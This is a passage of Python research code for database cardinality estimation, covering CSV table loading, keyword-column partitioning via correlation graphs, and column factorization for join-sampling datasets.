data_instance\n        # If no distribution is currently specified, then infer distinct values\n        # from data.\n        if infer_dist:\n            self.SetDistribution(self.data)\n        return self\n\n    def InsertNullInDomain(self):\n        # Convention: np.nan would only appear first.\n        if not pd.isnull(self.all_distinct_values[0]):\n            if self.all_distinct_values.dtype == np.dtype('object'):\n                # String columns: inserting nan preserves the dtype.\n                self.all_distinct_values = np.insert(self.all_distinct_values,\n                                                     0, np.nan)\n            else:\n                # Assumed to be numeric columns.  np.nan is treated as a\n                # float.\n                self.all_distinct_values = np.insert(\n                    self.all_distinct_values.astype(np.float64, copy=False), 0,\n                    np.nan)\n            self.distribution_size = len(self.all_distinct_values)\n\n    def __repr__(self):\n        return 'Column({}, distribution_size={})'.format(\n            self.name, self.distribution_size)\n\n\nclass Table(object):\n    \"\"\"A collection of Columns.\"\"\"\n\n    def __init__(self, name, columns, keyword_column_num={}, word2col={},\n                 pg_name=None, validate_cardinality=True):\n        \"\"\"Creates a Table.\n\n        Args:\n            name: Name of this table object.\n            columns: List of Column instances to populate this table.\n            pg_name: name of the corresponding table in Postgres.\n        \"\"\"\n        self.name = name\n        if validate_cardinality:\n            self.cardinality = self._validate_cardinality(columns)\n        else:\n            # Used as a wrapper, not a real table.\n            self.cardinality = None\n        self.columns = columns\n        self.word2col = word2col\n        self.keyword_column_num = keyword_column_num\n\n        # Bin to val funcs useful for sampling.  Takes\n        #   (col 1's bin id, ..., col N's bin id)\n        # and converts it to\n        #   (col 1's val, ..., col N's val).\n        self.column_bin_to_val_funcs = [c.BinToVal for c in columns]\n        self.val_to_bin_funcs = [c.ValToBin for c in columns]\n\n        self.name_to_index = {c.Name(): i for i, c in enumerate(self.columns)}\n\n        if pg_name:\n            self.pg_name = pg_name\n        else:\n            self.pg_name = name\n\n    def __repr__(self):\n        return '{}({})'.format(self.name, self.columns)\n\n    def _validate_cardinality(self, columns):\n        \"\"\"Checks that all the columns have same the number of rows.\"\"\"\n        cards = [len(c.data) for c in columns]\n        c = np.unique(cards)\n        assert len(c) == 1, c\n        return c[0]\n\n    def to_df(self):\n        return pd.DataFrame({c.name: c.data for c in self.columns})\n\n    def Name(self):\n        \"\"\"Name of this table.\"\"\"\n        return self.name\n\n    def Columns(self):\n        \"\"\"Return the list of Columns under this table.\"\"\"\n        return self.columns\n\n    def ColumnIndex(self, name):\n        \"\"\"Returns index of column with the specified name.\"\"\"\n        assert name in self.name_to_index, (name,\n                                            list(self.name_to_index.keys()))\n        return self.name_to_index[name]\n\n    def __getitem__(self, column_name):\n        return self.columns[self.name_to_index[column_name]]\n\n    def TableColumnIndex(self, source_table, col):\n        \"\"\"Returns index of column with the specified name/source.\"\"\"\n        name = JoinTableAndColumnNames(source_table, col)\n        assert name in self.name_to_index, (name,\n                                            list(self.name_to_index.keys()))\n        return self.name_to_index[name]\n\n\nclass CsvTable(Table):\n\n    def __init__(self,\n                 name,\n                 filename_or_df,\n                 cols,\n                 type_casts,\n                 keywords_cols=[],\n                 pg_name=None,\n                 pg_cols=None,\n                 dropna=False,\n                 otype='heuristic',\n                 corr_file_path=None,\n                 partnum = 10,\n                 **kwargs):\n        \"\"\"Accepts same arguments as pd.read_csv().\n\n        Args:\n            filename_or_df: pass in str to reload; otherwise accepts a loaded\n              pd.Dataframe.\n        \"\"\"\n        self.name = name\n        self.pg_name = pg_name\n        self.keywords_cols_name = keywords_cols\n\n        if isinstance(filename_or_df, str):\n            data = self._load(filename_or_df, cols, **kwargs)\n        else:\n            assert isinstance(filename_or_df, pd.DataFrame)\n            data = filename_or_df\n\n        self.dropna = dropna\n        if dropna:\n            # NOTE: this might make the resulting dataframe much smaller.\n            data = data.dropna()\n\n        cols = data.columns\n        self.data, self.columns, self.keyword_column_num, self.word2col = self._build_columns(data, cols, type_casts, keywords_cols, pg_cols, otype=otype, corr_file_path=corr_file_path, partnum=partnum)\n\n        super(CsvTable, self).__init__(name, self.columns, keyword_column_num=self.keyword_column_num, \n                                       word2col=self.word2col)\n\n    def _load(self, filename, cols, **kwargs):\n        print('Loading csv...', end=' ')\n        s = time.time()\n        df = pd.read_csv(filename, usecols=cols, **kwargs)\n        if cols is not None:\n            # Use [cols] here anyway to reorder columns by 'cols'.\n            df = df[cols]\n        print('done, took {:.1f}s'.format(time.time() - s))\n        return df\n\n    def _build_columns(self, data, cols, type_casts, keywords_cols, pg_cols, otype='heuristic', corr_file_path=None, partnum=10):\n        \"\"\"Example args:\n\n            cols = ['Model Year', 'Reg Valid Date', 'Reg Expiration Date']\n            type_casts = {'Model Year': int}\n\n        Returns: a list of Columns.\n        \"\"\"\n        print('Parsing...', end=' ')\n        s = time.time()\n        for col, typ in type_casts.items():\n            if col not in data:\n                continue\n            if typ != np.datetime64:\n                data[col] = data[col].astype(typ, copy=False)\n            else:\n                # Both infer_datetime_format and cache are critical for perf.\n                data[col] = pd.to_datetime(data[col],\n                                           infer_datetime_format=True,\n                                           cache=True)\n\n        # Discretize & create Columns.\n        columns = []\n        keyword_column_num = {}\n        stored_data = {}\n        word2col = {}\n        for c in cols:\n            if c in keywords_cols:\n                print('keyword column: ', c)\n                keyword_column_num[c], word2col[c] = self._construct_keyword_columns(data, c, stored_data, otype=otype, partnum=partnum, corr_file_path=corr_file_path)\n                print('KEYWORD_COLUMN_NUM: ', keyword_column_num[c])\n            else:\n                stored_data[c] = data[c].tolist()\n        data = pd.DataFrame(stored_data)\n        cols = data.columns\n        if pg_cols is None:\n            pg_cols = [None] * len(cols)\n        for c, p in zip(cols, pg_cols):\n            col = Column(c, pg_name=p)\n            col.Fill(data[c])\n            # dropna=False so that if NA/NaN is present in data,\n            # all_distinct_values will capture it.\n            #\n            # For numeric: np.nan\n            # For datetime: np.datetime64('NaT')\n            # For strings: ?? (haven't encountered yet)\n            #\n            # To test for former, use np.isnan(...).any()\n            # To test for latter, use np.isnat(...).any()\n            col.SetDistribution(data[c].value_counts(dropna=False).index.values)\n            columns.append(col)\n        print('done, took {:.1f}s'.format(time.time() - s))\n        return data, columns, keyword_column_num, word2col\n    \n    def _construct_keyword_columns(self, data, column, stored_data, \n                                   filter_num=10, max_num=1000, pad='zzz', lfword='zzzz',\n                                   otype='heuristic', corr_file_path=None, partnum=10):\n        data[column].fillna('', inplace=True)\n        lines = data[column]\n        texts = []\n        idx2word = []\n        word2idx = {}\n        all_keywords = {}\n        if corr_file_path is not None:\n            idx_file_path = corr_file_path.replace('corr.csv', 'idx.csv')\n            idx_file = open(idx_file_path, 'r')\n            idx_lines = idx_file.readlines()\n            idx2word = [\"\" for _ in range(len(idx_lines))]\n            for line in idx_lines:\n                w = line.split(' ')[0]\n                num = int(line.split(' ')[1])\n                idx2word[num] = w\n                word2idx[w] = num\n                all_keywords[w] = 0\n        for i, line in enumerate(lines):\n            #print(line)\n            line = line.lower()\n            #lines[i] = line\n            if column != 'tags':\n                text = re.findall('[a-zA-Z]+', line)\n            else:\n                text = line.split(',')\n            texts.append(text)\n            tmp_text = []\n            for t in text:\n                if t in all_keywords:\n                    if t not in tmp_text:\n                        tmp_text.append(t)\n                        all_keywords[t] += 1\n                    #if \n                    #if t not in all_keywords:\n                    #    all_keywords[t] = 1 \n                    #else:\n                    #    all_keywords[t] += 1\n        if len(idx2word) == 0:\n            index = 0\n            for i, k in enumerate(all_keywords):\n                if all_keywords[k] >= filter_num:\n                    idx2word.append(k)\n                    word2idx[k] = index\n                    index += 1\n        print('Number of keywords: {}'.format(len(idx2word)))\n        #keyword_data = np.zeros([len(idx2word), len(texts)], dtype=np.bool)\n        text_idx = []\n        for i, text in enumerate(texts):\n            new_text = []\n            for t in text:\n                if t in word2idx and t not in new_text:\n                    new_text.append(word2idx[t])\n                    #idx = word2idx[t]\n                    #keyword_data[idx][i] = True\n            text_idx.append(new_text)\n        print(len(idx2word))\n        #correlation = np.zeros([len(idx2word), len(idx2word)], dtype=np.float)\n        print('Calculating correlation ...')\n        print(corr_file_path)\n        s = time.time()\n        if corr_file_path is not None:\n            corr_bin_path = corr_file_path.replace('corr.csv', 'corr.bin')\n            if os.path.exists(corr_bin_path):\n                print('Read Caculation from binary file')\n                correlation = np.zeros([len(idx2word), len(idx2word)], dtype=np.float)\n                bfp = open(corr_bin_path, 'rb')\n                for i in range(len(idx2word)):\n                    num_byte = bfp.read(4)\n                    num = int.from_bytes(num_byte, byteorder='little', signed=True)\n                    for j in range(num):\n                        id_byte = bfp.read(4)\n                        wid = int.from_bytes(id_byte, byteorder='little', signed=True)\n                        corr_byte = bfp.read(8)\n                        corr = struct.unpack('<d', corr_byte)[0]\n                        correlation[i][wid] = corr\n                #np.savetxt('tmpcorr.csv', correlation[0], delimiter='\\t')\n            else:\n                print('Correlation file exists')\n                correlation = np.loadtxt(corr_file_path, delimiter=',')\n        else:\n            print('Correlation file not exists. Calculating with Python.')\n            and_op = np.zeros([len(idx2word), len(idx2word)], dtype=np.int)\n            or_op = np.zeros([len(idx2word), len(idx2word)], dtype=np.int)\n            #or_op = [[0] * len(idx2word)] * len(idx2word)\n            for i in range(len(idx2word)):\n                or_op[i] += all_keywords[idx2word[i]]\n                or_op[:i] += all_keywords[idx2word[i]]\n                or_op[i][i] -= all_keywords[idx2word[i]]\n            for i, text in enumerate(text_idx):\n                for idx1 in text:\n                    #or_op[idx1] += 1\n                    #or_op[:idx1] += 1 \n                    #or_op[idx1][idx1] -= 1\n                    #a = 1\n                    for idx2 in text:\n                        and_op[idx1][idx2] += 1\n            correlation = and_op / or_op\n            if corr_file_path is not None:\n                numpy.savetxt(corr_file_path, delimiter=',')\n        '''\n        #keywords_data_tensor = torch.tensor(keyword_data, dtype=torch.int, device='cuda')\n        #for i in range(len(idx2word)):\n        #    corr1 = keywords_data_tensor[i] & keywords_data_tensor\n        #    corr1 = torch.sum(corr1, dim=1).to(dtype=torch.float)\n        #    corr2 = keywords_data_tensor[i] | keywords_data_tensor\n        #    corr2 = torch.sum(corr2, dim=1).to(dtype=torch.float)\n        #    corr = corr1 / corr2\n        #    correlation[i] = corr.cpu().numpy().astype(np.float)\n        #print(correlation)\n        #for i in range(len(idx2word)):\n        #    for j in range(len(idx2word)):\n        #        if correlation[i][j] <= filter_num:\n        #            correlation[i][j] = 0\n        #print(correlation)\n        '''\n        print('done, took {:.1f}s'.format(time.time() - s))\n        new_column_data = [] \n        if otype == 'heuristic':\n            partid = [i for i in range(len(idx2word))]\n            part_file_path = corr_file_path.replace('corr.csv', 'part' + str(partnum) + '.csv')\n            print(part_file_path)\n            if os.path.exists(part_file_path):\n                print('Part id file exists, read from file.')\n                s = time.time()\n                partid = np.loadtxt(part_file_path, dtype=np.int)\n                print('Done, took {}s'.format(time.time() - s))\n            else:\n                print('Calculating MIS.')\n                graph = {}\n                for i in range(len(idx2word)):\n                    neighbors =  [] \n                    for j, corr in enumerate(correlation[i]):\n                        if corr and i != j:\n                            neighbors.append(j)\n                    graph[i] = neighbors\n                all_mis = []\n                s = time.time()\n                while len(graph) > 0:\n                    mis = maximal_independent_set(graph)\n                    all_mis.append(mis)\n                    for node in mis:\n                        _ = graph.pop(node, 0)\n                    print('{} done, took {:.1f}s'.format(len(mis), time.time() - s))\n                print('Number of MIS: {}.'.format(len(all_mis)))\n                for i, mis in enumerate(all_mis):\n                    for j in mis:\n                        partid[j] = i\n                weight = np.zeros([len(all_mis), len(all_mis)])\n                for i in range(len(idx2word)):\n                    for j in range(len(idx2word)):\n                        part_i = partid[i]\n                        part_j = partid[j]\n                        if part_i == part_j:\n                            weight[part_i][part_j] = sys.maxsize\n                        else:\n                            #weight[part_i][part_j] += correlation[i][j]\n                            weight[part_i][part_j] = max(weight[part_i][part_j], correlation[i][j])\n                for _ in range(len(all_mis) - partnum):\n                    indices = np.argwhere(weight == np.min(weight))\n                    idx = random.randint(0, len(indices) - 1)\n                    minid = np.min(indices[idx])\n                    maxid = np.max(indices[idx])\n                    for i in range(len(partid)):\n                        if partid[i] == maxid: \n                            partid[i] = minid\n                        elif partid[i] > maxid:\n                            partid[i] = partid[i] - 1\n                    #print(max(partid), minid, maxid)\n                    new_weight = np.zeros([len(weight) - 1, len(weight) - 1])\n                    for i in range(len(weight)):\n                        if i == maxid:\n                            newi = minid\n                        elif i > maxid:\n                            newi = i - 1\n                        else:\n                            newi = i\n                        for j in range(len(weight)):\n                            if j == maxid:\n                                newj = minid\n                            elif j > maxid:\n                                newj = j - 1\n                            else:\n                                newj = j\n                            if newi == newj:\n                                new_weight[newi][newj] = sys.maxsize\n                            else:\n                                #new_weight[newi][newj] += weight[i][j]\n                                new_weight[newi][newj] = max(new_weight[newi][newj], weight[i][j])\n                    weight = new_weight\n            '''\n            max_inner = 0\n            max_all = 0\n            for i in range(len(idx2word)):\n                for j in range(i + 1, len(idx2word)):\n                    if partid[i] == partid[j] and max_inner < correlation[i][j]:\n                        max_inner = correlation[i][j]\n                    if max_all < correlation[i][j]:\n                        max_all = correlation[i][j]\n            print('Max Inner: ', max_inner)\n            print('Max All: ', max_all)\n            '''\n            word2column = {}\n            column2word = [[] for i in range(partnum)]\n            column_num = partnum\n            for i, word in enumerate(idx2word):\n                word2column[word] = partid[i]\n                column2word[partid[i]].append(word)\n        elif otype == 'corr':\n            comp_graph = nx.Graph()\n            comp_graph.graph['edge_weight_attr'] = 'weight'\n            for i in range(len(idx2word)):\n                for j in range(i + 1, len(idx2word)):\n                    weight =  - correlation[i][j]\n                    comp_graph.add_edge(i, j, weight=weight)\n            nodes = np.arange(len(idx2word))\n            comp_graph.add_nodes_from(nodes)\n            e, partid = metis.part_graph(comp_graph, partnum, ufactor=1000)\n            max_inner = 0\n            max_all = 0\n            for i in range(len(idx2word)):\n                for j in range(i + 1, len(idx2word)):\n                    if partid[i] == partid[j] and max_inner < correlation[i][j]:\n                        max_inner = correlation[i][j]\n                    if max_all < correlation[i][j]:\n                        max_all = correlation[i][j]\n            print(partid)\n            print('Max Inner: ', max_inner)\n            print('Max All: ', max_all)\n            word2column = {}\n            column2word = [[] for i in range(partnum)]\n            column_num = partnum\n            for i, word in enumerate(idx2word):\n                word2column[word] = partid[i]\n                column2word[partid[i]].append(word)\n        else:\n            graph = {}\n            for i in range(len(idx2word)):\n                neighbors = []\n                for j, corr in enumerate(correlation[i]):\n                    if corr and i != j:\n                        neighbors.append(idx2word[j])\n                graph[idx2word[i]] = neighbors\n            all_mis = []\n            print('Get MIS ...')\n            s = time.time()\n            while len(graph) > 0:\n                mis = maximal_independent_set(graph)\n                all_mis.append(mis)\n                for node in mis:\n                    _ = graph.pop(node, 0)\n                print('{} done, took {:.1f}s'.format(len(all_mis), time.time() - s))\n            column_num = len(all_mis)\n            word2column = {}\n            column2word = [[] for i in range(column_num)]\n            for i in range(len(all_mis)):\n                for word in all_mis[i]:\n                    #word = idx2word[idx]\n                    word2column[word] = i\n                    column2word[i].append(word)\n        print('Constructiong new columns')\n        s = time.time()\n        exists_keywords = {w:0 for w in all_keywords}\n        lfline_num = 0\n        for line, text in enumerate(texts):\n            data = [pad for _ in range(column_num)]\n            has_lfword = '0'\n            for word in text:\n                if word in word2column:\n                    cid = word2column[word]\n                    if data[cid] is not pad:\n                        new_percent = exists_keywords[word] / all_keywords[word]\n                        old_percent = exists_keywords[data[cid]] / all_keywords[data[cid]]\n                        if old_percent > new_percent:\n                            data[cid] = word\n                    else:\n                        data[cid] = word\n                else:\n                    has_lfword = '1'\n            for w in data:\n                if w is not pad:\n                    exists_keywords[w] += 1\n            data.append(has_lfword)\n            new_column_data.append(data)\n            if has_lfword == '1':\n                lfline_num += 1\n        '''\n        fraction = [queue.PriorityQueue() for _ in range(partnum)]\n        for w in word2column:\n            if all_keywords[w] > 0:\n                cid = word2column[w]\n                w_frac = exists_keywords[w] / all_keywords[w]\n                fraction[cid].put((w_frac, w))\n        for j in range(partnum):\n            for i in range(len(new_column_data)):\n                w = new_column_data[i][j]\n                if w is pad:\n                    frac, kw = fraction[j].get()\n                    if frac < 1:\n                        new_column_data[i][j] = kw\n                        exists_keywords[kw] += 1\n                        new_frac = exists_keywords[kw] / all_keywords[kw]\n                        fraction[j].put((new_frac, kw))\n                    else:\n                        break\n        '''\n        print('Done, took {}s'.format(time.time() - s))\n        print('Number of has low frequency word lines: ', lfline_num)\n        new_column_data = np.array(new_column_data)\n        column_names = [column + str(i) for i in range(column_num)]\n        column_names.append(column + '_lfword')\n        #keywords_df = pd.DataFrame(new_column_data, columns=column_names)\n        #keyword_cols = []\n        for i, c in enumerate(column_names):\n            #col = Column(c)\n            stored_data[c] = new_column_data[:,i].tolist() \n            #col.Fill(keywords_df[c])\n            #col.SetDistribution(keywords_df[c].value_counts(dropna=False).index.values)\n            #keyword_cols.append(col)\n        return column_num, word2column\n\n\nclass FactorizedTable(Dataset):\n    \"\"\"Wraps a TableDataset to factorize large-card columns.\"\"\"\n\n    def __init__(self, table_dataset, word_size_bits=5, factorize_blacklist=[]):\n        assert isinstance(table_dataset, TableDataset), table_dataset\n        self.table_dataset = table_dataset\n        self.base_table = self.table_dataset.table\n        self.word_size_bits = word_size_bits\n        self.word_size = 2**self.word_size_bits\n        self.factorize_blacklist = factorize_blacklist\n        self.columns, self.factorized_tuples_np = self._factorize(\n            self.table_dataset.tuples_np)\n        self.factorized_tuples = torch.as_tensor(\n            self.factorized_tuples_np.astype(copy=False, dtype=np.float32))\n        self.cardinality = table_dataset.table.cardinality\n\n    def _factorize(self, tuples_np):\n        \"\"\"Factorize K columns into N>K columns based on word size.\"\"\"\n\n        factorized_data = []\n        cols = []\n\n        for i, col in enumerate(self.table_dataset.table.Columns()):\n            dom = col.DistributionSize()\n            if dom <= self.word_size or col.name in self.factorize_blacklist:\n                factorized_data.append(tuples_np[:, i])\n                new_col = Column(col.name,\n                                 distribution_size=col.distribution_size)\n                new_col.SetDistribution(col.all_distinct_values)\n                cols.append(new_col)\n                print(\"col\", i, col.name, \"not factorized \", dom)\n            else:\n                domain_bits = num_bits = len(bin(dom)) - 2\n                word_mask = self.word_size - 1\n                j = 0\n                while num_bits > 0:  # slice off the most significant bits\n                    bit_width = min(num_bits, self.word_size_bits)\n                    num_bits -= self.word_size_bits\n                    if num_bits < 0:\n                        factorized_data.append(tuples_np[:, i] &\n                                               (word_mask >> -num_bits))\n                        dist_size = len(np.unique(factorized_data[-1]))\n                        assert dist_size <= 2**(self.word_size_bits + num_bits)\n                        f_col = Column(col.name + \"_fact_\" + str(j),\n                                       distribution_size=dist_size,\n                                       factor_id=j,\n                                       bit_width=bit_width,\n                                       bit_offset=0,\n                                       domain_bits=domain_bits,\n                                       num_bits=num_bits)\n                    else:\n                        factorized_data.append((tuples_np[:, i] >> num_bits) &\n                                               word_mask)\n                        dist_size = len(np.unique(factorized_data[-1]))\n                        assert dist_size <= self.word_size\n                        f_col = Column(col.name + \"_fact_\" + str(j),\n                                       distribution_size=dist_size,\n                                       factor_id=j,\n                                       bit_width=bit_width,\n                                       bit_offset=num_bits,\n                                       domain_bits=domain_bits,\n                                       num_bits=num_bits)\n                    f_col.SetDistribution(factorized_data[-1])\n                    cols.append(f_col)\n                    print(\"fact col\", i, num_bits, factorized_data[-1])\n                    j += 1\n                print(\"orig\", i, tuples_np[:, i])\n\n        print(\"Factored table\", cols)\n\n        return cols, np.stack(factorized_data, axis=1)\n\n    def size(self):\n        return self.table_dataset.size()\n\n    def __len__(self):\n        return len(self.table_dataset)\n\n    def __getitem__(self, idx):\n        return self.factorized_tuples[idx]\n\n\nclass TableDataset(Dataset):\n    \"\"\"Wraps a Table and yields each row as a Dataset element.\"\"\"\n\n    def __init__(self, table, input_encoding=None):\n        \"\"\"Wraps a Table.\n\n        Args:\n          table: the Table.\n        \"\"\"\n        super(TableDataset, self).__init__()\n        self.table = copy.deepcopy(table)\n\n        print('Discretizing table...', end=' ')\n        s = time.time()\n        # [cardianlity, num cols].\n        self.tuples_np = np.stack(\n            [self.Discretize(c) for c in self.table.Columns()], axis=1)\n        self.tuples = torch.as_tensor(\n            self.tuples_np.astype(np.float32, copy=False))\n        print('done, took {:.1f}s'.format(time.time() - s))\n\n    def Discretize(self, col):\n        \"\"\"Discretize values into its Column's bins.\n\n        Args:\n          col: the Column.\n        Returns:\n          col_data: discretized version; an np.ndarray of type np.int32.\n        \"\"\"\n        return Discretize(col)\n\n    def size(self):\n        return len(self.tuples)\n\n    def __len__(self):\n        return len(self.tuples)\n\n    def __getitem__(self, idx):\n        return self.tuples[idx]\n\n\ndef Discretize(col, data=None, fail_out_of_domain=True):\n    \"\"\"Transforms data values into integers using a Column's vocab.\n\n    Args:\n        col: the Column.\n        data: list-like data to be discretized.  If None, defaults to col.data.\n        fail_out_of_domain: If True, then fail if we try to discretize\n          out-of-domain data.  If False, then throw out out-of-domain data.\n          Setting it to false is only safefor discretizing IN/equality\n          literals and unsafe for other comparisons.\n\n    Returns:\n        col_data: discretized version; an np.ndarray of type np.int32.\n    \"\"\"\n    # pd.Categorical() does not allow categories be passed in an array\n    # containing np.nan.  It makes it a special case to return code -1\n    # for NaN values.\n\n    if data is None:\n        data = col.data\n\n    # pd.isnull returns true for both np.nan and np.datetime64('NaT').\n    isnan = pd.isnull(col.all_distinct_values)\n    if isnan.any():\n        # We always add nan or nat to the beginning.\n        assert isnan.sum() == 1, isnan\n        assert isnan[0], isnan\n        dvs = col.all_distinct_values[1:]\n        bin_ids = pd.Categorical(data, categories=dvs).codes\n        assert len(bin_ids) == len(data), (len(bin_ids), len(data))\n        if fail_out_of_domain:\n            # Check that non-NaN values are all in the dictionary 'dvs'.\n            assert (bin_ids[~pd.isnull(data)] >= 0).all(), (col, data, bin_ids)\n        else:\n            # Throw out out-of-domain vals, but keep nulls.\n            bin_ids = bin_ids[(bin_ids >= 0) | (pd.isnull(data))]\n        # Since nan/nat bin_id is supposed to be 0 but pandas returns -1, just\n        # add 1 to everybody.\n        bin_ids = bin_ids + 1\n    else:\n        # This column has no nan or nat values.\n        dvs = col.all_distinct_values\n        bin_ids = pd.Categorical(data, categories=dvs).codes\n        assert len(bin_ids) == len(data), (len(bin_ids), len(data))\n        if fail_out_of_domain:\n            # Check that non-NaN values are all in the dictionary 'dvs'.\n            assert (bin_ids[~pd.isnull(data)] >= 0).all(), (col, data, bin_ids)\n        else:\n            # -1 means out-of-domain, so throw these out.\n            bin_ids = bin_ids[bin_ids >= 0]\n\n    return bin_ids.astype(np.int32, copy=False)\n\n\nclass FactorizedSampleFromJoinIterDataset(IterableDataset):\n    \"\"\"Wraps a SampleFromJoinIterDataset to factorize large-card columns.\"\"\"\n\n    def __init__(self,\n                 join_iter,\n                 base_table,\n                 factorize_blacklist=[],\n                 word_size_bits=5,\n                 factorize_fanouts=False):\n        \"\"\"Column factorization with join sampling.\n\n        Args:\n          join_iter: An instance of SampleFromJoinIterDataset class.\n          base_table: The concatenated table representing the join.\n          factorize_blacklist: Don't factorize these columns.\n          word_size_bits: Maximum word bit size for factorized columns. Columns\n            are factorized if len(col_dom) > 2**word_size_bits and not in\n            blacklist. How much they are factorized by is specified in\n            word_size_bits.\n          factorize_fanouts: whether to factorize fanout columns.  If set to\n            True, estimators must be modified to learn to draw a concrete\n            fanout value from several subcolumns (or make sure that fanout is\n            never used during inference).\n        \"\"\"\n        assert isinstance(join_iter, SamplerBasedIterDataset), join_iter\n        self.join_iter_dataset = join_iter\n        self.word_size_bits = word_size_bits\n        self.word_size = 2**self.word_size_bits\n        self.factorize_fanouts = factorize_fanouts\n        self.fact_col_mapping = defaultdict(\n            list)  # Mapping from table col to fact cols.\n        self.base_table = base_table\n        self.base_table_cols = self.join_iter_dataset.columns_in_join()\n        self.cardinality = self.base_table.cardinality\n        self.factorize_blacklist = factorize_blacklist\n        self.columns = self._factorize_columns()\n        self.name_to_index = {c.Name(): i for i, c in enumerate(self.columns)}\n\n    def __getitem__(self, column_name):\n        return self.columns[self.name_to_index[column_name]]\n\n    def _factorize_columns(self):\n        \"\"\"Factorizes columns into subcolumns based on word size.\"\"\"\n\n        def _should_not_factorize(column):\n            dom = column.distribution_size\n            if dom <= self.word_size or column.name in self.factorize_blacklist:\n                return True\n\n            # By default, estimators.ProgressiveSampling._scale_probs()\n            # assumes virtual columns are not factorized.  Flag\n            # 'factorize_fanouts' is unsafe in general (unless inference is\n            # modified to sample from factorized fanouts).\n            if column.name.startswith('__in'):\n                return True\n            if column.name.startswith('__fanout'):\n                return not self.factorize_fanouts\n\n            return False\n\n        cols = []\n        self.combined_columns_types = []  # Column types for factorized columns.\n        self.table_indexes = []  # Fact col index -> Table index.\n        self.table_num_columns = [0] * len(\n            self.join_iter_dataset.table_num_columns)\n        for i, col in enumerate(self.base_table_cols):\n            dom = col.DistributionSize()\n            if _should_not_factorize(col):\n                # Don't factorize this column.\n                new_col = Column(col.name,\n                                 distribution_size=col.distribution_size)\n                new_col.SetDistribution(col.all_distinct_values)\n                cols.append(new_col)\n                self.combined_columns_types.append(\n                    self.join_iter_dataset.combined_columns_types[i])\n                self.table_indexes.append(\n                    self.join_iter_dataset.table_indexes[i])\n                if not col.name.startswith('__'):\n                    # table_num_columns should count content columns only.\n                    self.table_num_columns[\n                        self.join_iter_dataset.table_indexes[i]] += 1\n                print('col', i, col.name, 'not factorized')\n            else:\n                domain_bits = num_bits = len(bin(dom)) - 2\n                word_mask = self.word_size - 1\n                j = 0\n                col_dv = np.arange(dom)\n                while num_bits > 0:\n                    bit_width = min(num_bits, self.word_size_bits)\n                    num_bits -= self.word_size_bits\n                    if num_bits < 0:\n                        fact_col_dv = col_dv & (word_mask >> -num_bits)\n                        dist_size = len(np.unique(fact_col_dv))\n                        assert dist_size <= 2**(self.word_size_bits + num_bits)\n                        f_col = Column(col.name + '_fact_' + str(j),\n                                       distribution_size=dist_size,\n                                       factor_id=j,\n                                       bit_width=bit_width,\n                                       bit_offset=0,\n                                       domain_bits=domain_bits,\n                                       num_bits=num_bits)\n                    else:\n                        fact_col_dv = (col_dv >> num_bits) & word_mask\n                        dist_size = len(np.unique(fact_col_dv))\n                        assert dist_size <= self.word_size\n                        f_col = Column(col.name + '_fact_' + str(j),\n                                       distribution_size=dist_size,\n                                       factor_id=j,\n                                       bit_width=bit_width,\n                                       bit_offset=num_bits,\n                                       domain_bits=domain_bits,\n                                       num_bits=num_bits)\n                    f_col.SetDistribution(fact_col_dv)\n                    cols.append(f_col)\n                    self.fact_col_mapping[col].append(f_col)\n                    self.combined_columns_types.append(\n                        self.join_iter_dataset.combined_columns_types[i])\n                    self.table_indexes.append(\n                        self.join_iter_dataset.table_indexes[i])\n\n                    if not col.name.startswith('__'):\n                        # table_num_columns should count content columns only.\n                        self.table_num_columns[\n                            self.join_iter_dataset.table_indexes[i]] += 1\n                    print('fact col', i, col.name, num_bits, fact_col_dv)\n                    j += 1\n                print('orig', i, col.all_distinct_values)\n        print('Factored table', cols)\n        return cols\n\n    def _factorize_data(self, data):\n        word_mask = self.word_size - 1\n        factorized_data = []\n        for i, col in enumerate(self.base_table_cols):\n            if col not in self.fact_col_mapping:\n                # This column not factorized.\n                factorized_data.append(data[:, i])\n            else:\n                # This column is factorized.\n                for fact_col in self.fact_col_mapping[col]:\n                    num_bits = fact_col.num_bits\n                    if num_bits < 0:\n                        fact_data = data[:, i] & (word_mask >> -num_bits)\n                    else:\n                        fact_data = (data[:, i] >> num_bits) & word_mask\n                    factorized_data.append(fact_data)\n        return np.stack(factorized_data, axis=1)\n\n    def columns_in_join(self):\n        return self.columns\n\n    def ColumnIndex(self, name):\n        assert name in self.name_to_index, (name,\n                                            list(self.name_to_index.keys()))\n        return self.name_to_index[name]\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        batch, i = self.join_iter_dataset.get_next()\n        if i == 0:\n            # This is a new batch. Need to factorize it.\n            self.buffer = self._factorize_data(batch)\n        return self.buffer[i]\n\n\nclass SamplerBasedIterDataset(IterableDataset):\n    \"\"\"A base class for sampler-based datasets.\"\"\"\n\n    def __init__(\n            self,\n            loaded_tables,\n            join_spec,\n            sample_batch_size=512,\n            build_indexes=True,\n            disambiguate_column_names=False,\n            add_full_join_indicators=True,\n            add_full_join_fanouts=True,\n            initialize_sampler=True,\n            # Experimental: save/load CSV.\n            save_samples=None,\n            load_samples=None):\n        self.join_spec = join_spec\n        self.join_keys = join_spec.join_keys\n        self.how = join_spec.join_how\n        assert self.how in ['inner', 'outer'], join_spec\n        self.tables = loaded_tables\n        self.table_dict = {t.name: t for t in self.tables}\n        self.dfs = [t.data for t in loaded_tables]\n        self.disambiguate_column_names = disambiguate_column_names\n        assert not (save_samples and load_samples), 'Set at most one of them.'\n        self.save_samples = save_samples\n        self.load_samples = load_samples\n\n        self.buffer = None  # np.ndarray holding sampled tuples.\n        self.sample_batch_size = sample_batch_size\n        self.pointer = sample_batch_size\n\n        self.add_full_join_indicators = add_full_join_indicators\n        self.add_full_join_fanouts = add_full_join_fanouts\n\n        # HACK: hard-code 'title' to be the primary relation.  As optimization\n        # don't add virtual columns for this table.\n        table_names = join_spec.join_tables\n        self.primary_table_index = table_names.index('title')\n\n        self.combined_columns = []\n        self.combined_columns_types = []\n        self.table_indexes = []  # column index -> table index\n        self.table_num_columns = [0] * len(\n            self.tables)  # table index -> num normal attrs of that table\n        for i, t in enumerate(self.tables):\n            for c in t.columns:\n                # Assume that there are no filters on join keys.\n                if c.name not in self.join_keys[t.name]:\n                    self.combined_columns.append(c)\n                    self.combined_columns_types.append(TYPE_NORMAL_ATTR)\n                    self.table_indexes.append(i)\n                    self.table_num_columns[i] += 1\n                    # In-place.\n                    if disambiguate_column_names:\n                        c.name = JoinTableAndColumnNames(t.name, c.name)\n\n        self._maybe_add_full_join_virtual_columns(self.combined_columns,\n                                                  self.combined_columns_types,\n                                                  self.table_indexes)\n\n        if self.how == 'outer':\n            # Necessary for discretization.\n            print(\n                'Full outer join 